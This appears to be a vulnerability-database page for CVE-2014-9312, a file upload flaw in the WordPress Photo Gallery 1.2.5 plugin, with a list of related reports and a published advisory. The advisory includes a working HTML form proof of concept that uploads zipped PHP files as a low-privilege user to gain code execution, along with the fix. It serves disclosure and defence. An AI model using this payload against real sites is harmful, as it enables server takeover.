| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Wordpress Photo Gallery 1.2.5 Unrestricted File Upload Vulnerability | 26 Jan 201500:00 | – | zdt | |
| CVE-2014-9312 | 29 May 201815:50 | – | circl | |
| WordPress Photo Gallery Plugin Arbitrary File Upload Vulnerability | 21 Feb 201500:00 | – | cnvd | |
| Wordpress Photo Gallery Plugin Unrestricted File Upload (CVE-2014-9312) | 15 Feb 201500:00 | – | checkpoint_advisories | |
| CVE-2014-9312 | 28 Aug 201715:00 | – | cve | |
| CVE-2014-9312 | 28 Aug 201715:00 | – | cvelist | |
| WordPress Plugin Photo Gallery 1.2.5 - Unrestricted Arbitrary File Upload | 11 Nov 201400:00 | – | exploitpack | |
| WordPress Photo Gallery Unrestricted File Upload | 11 Feb 201501:03 | – | metasploit | |
| CVE-2014-9312 | 28 Aug 201715:29 | – | nvd | |
| Photo Gallery 1.2.5 Shell Upload | 26 Jan 201500:00 | – | packetstorm |
# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload
# Date: 11-11-2014
# Software Link: https://wordpress.org/plugins/photo-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9312
# Category: webapps
1. Description
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php
http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html
2. Proof of Concept
Login as regular user (created using wp-login.php?action=register).
Pack .php files into .zip archive then send it using:
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
<input type="file" name="files">
<input type="submit" value="Hack!">
</form>
Your files will be visible inside:
http://wordpress-install/wp-admin/rce/
3. Solution:
Update to version 1.2.6
https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zipData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation